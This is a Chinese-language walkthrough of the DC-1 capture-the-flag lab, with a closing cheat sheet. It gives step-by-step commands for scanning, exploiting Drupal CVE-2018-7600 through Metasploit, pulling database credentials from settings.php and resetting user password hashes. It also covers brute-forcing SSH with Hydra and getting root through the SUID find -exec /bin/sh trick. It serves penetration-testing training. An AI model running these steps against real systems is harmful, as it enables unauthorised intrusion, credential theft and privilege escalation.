DC-1靶场
实验目标
获取5个flag,顺利通关实验环境
实验环境
DC-1靶场、kali攻击机
实验过程
环境准备
1、下载目标靶机DC-1
输入网址自动下载
192.168.91.234/DC-1.ova
2、安装过程
VM虚拟机直接打开
设置名称和位置,导入
成功安装
3、kali安装
过程自行百度(我这里早已经是安装好了的)
更改DC靶机网络模式为NAT模式,使DC靶机和kali处于同一网段
查询kali的IP
192.168.241.151
渗透过程
1、信息收集
扫描目标IP
探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover
arp-scan
arp-scan -l
查看DC靶机的MAC地址
确定DC的IP为
192.168.241.141
nmap
用nmap扫描
nmap -sP 192.168.27.0/24
扫出同样的IP
netdiscover
netdiscover - i eth0 - r 192.168.27.0/24
探测目标IP开放端口
用nmap探测
nmap -sV -p- 192.168.27.132
-sV 扫描目标主机端口上服务的版本信息
-p- -p指定端口 -p- 扫描全部端口 0-65535
22和80端口是此次的突破口,22端口的ssh可以尝试用root用户密码爆破
80是http协议,可以用浏览器先访问一下
网页信息收集
利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal
也可以使用kali自带的工具whatweb扫
whatweb -v 192.168.27.132
2、漏洞查找与利用
我们知道了是cms,所以从cms出发找漏洞,百度一下drupal
最终确定为CVE-2018-7600的Drupal远程代码执行漏洞
漏洞查找
用工具Metasploit找一下漏洞,先打开工具(每次弹出来的图像都不一样)
msfconsole
输入命令
search Drupal
可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞
漏洞利用
利用18年的漏洞
use 1
查看该漏洞模块参数
show options
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容
所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)
set RHOSTS 192.168.27.132
然后再show一下模块参数
设置好参数后开始攻击
run 或者 exploit
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上
shell
3、getshell
获取普通的shell
shell
执行命令
ls
获取交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
查看flag1.txt(如果只做到flag1的话,其实也可以不获取,直接cat flag1.txt)
cat flag1.txt
(每个好的CMS都需要一个配置文件——你也是)
根据提示查看 Drupal 的配置文件 百度后 配置文件名称为 settings.php
cat `find / -name settings.php`
得到了flag2和数据库的账号密码
4、数据库渗透
有上面得到的数据库账号密码登录
mysql -udbuser -pR0ck3t
成功登入,查看一下有什么东西
show databases;
查看表
use drupaldb;
show tables;
查询表,增加了/G使表格变成纵向
select from users\G;
得到两个用户
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
密码很复杂,应该不是明文,那想登进后台就很难了,我们可以通过修改admin的密码
我们得先找到加密文件,Drupal的加密脚本在
/var/www/scripts/password-hash.sh
打开加密脚本(这里要退出数据库Ctrl+z)
cat /var/www/scripts/password-hash.sh
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码:123456
php /var/www/scripts/password-hash.sh 123456
得到加密后的密码, 接着我们修改一下admin跟Fred的密码
use drupaldb;update users set pass =
"$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or
name = 'Fred';
再查看一下是否修改
select from users\G;
用修改后的密码登录web页面
找一下flag3
发现有提示
提示了我们一些信息passwd和shadow,明显就是linux的文件
/etc/passwd 该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
/etc/shadow 该文件存储了系统用户的密码等信息,只有root权限用户才能读取
查看一下用户信息(这里可以看到,我老mysql是退出来跑进去🤣,其实也可以直接开两个终端)
cat /etc/passwd
可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码
5、用户密码爆破
利用工具Hydra爆破flag4的密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.27.132
爆破出密码orange,然后用kali连接
ssh flag4@192.168.27.132
@192.168.27.132
@目标主机地址
输入orange登入查看flag4
查看flag4
6、Linux提权
提示中还有 find ,可以想一下 SUID 提权
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
find指令
/根目录(查找位置)
-perm 权限
-u 用户
s 特权
-type 类型
f 文件
2>dev/null 过滤错误信息
find比较常用,可以执行root权限的命令找查文件
find / -name index.php -exec "/bin/sh" \;
find / - name index.php - exec "/bin/sh" \;
查找的文件不重要(是存在的文件就行),只需要格式对,然后后面加上-exec "/bin/sh" \;
-p : 让 suid 为0 , 权限为root 权限
默认情况下 bash 在执行时,如果发现 suid 和 uid 不匹配,会将 suid 强制重置为uid
使用 -p 参数,则不会再覆盖。
可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关了
cd /root
ls
cat *
最后总结
1、主机扫描
nmap
nmap -sP 网段
arp-scan
arp-scan -l
netdiscover
netdiscover - i 网卡 - r 指定IP网段
2、域名信息收集
whatweb
whatweb -v 域名
火绒扩展wappalyzer
3、CMS漏洞找查及利用
Metasploit
先打开MSF控制台
msfconsole
搜索CMS漏洞
search cms名
使用模块
use 漏洞模块名
显示模块参数(一般只需要设置攻击目标IP地址)
show options
设置模块参数
set 模块参数名 参数值
开始攻击
run(或exploit)
4、Getshell
使用MSF攻击等待主机与目标连接完成后
通常情况下直接进入shell
shell
获取交互shell(需对方主机安装有python)
python -c 'import pty;pty.spawn("/bin/bash")'
5、密码爆破与SSH
爆破工具Hydra
hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机
以爆破SSH为例
ssh 用户名@目标攻击主机
爆破完后我们可以用kali登入
6、Linux特性及相关命令
查看权限(root为最高权限,其他为普通用户)
whoami
文件特性passwd与shadow
/etc/passwd
存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问
/etc/shadow
存储有用户的密码等信息,需要root用户才能访问
Linux系统的SUID提权
先找到含有SUID权限的二进制文件
find / -user root -perm -4000 -print 2>/dev/null
这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤
再选择相关命令进行提权,以find为例(用得最多)
先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权
find / -name x.ab -exec "/bin/sh" \;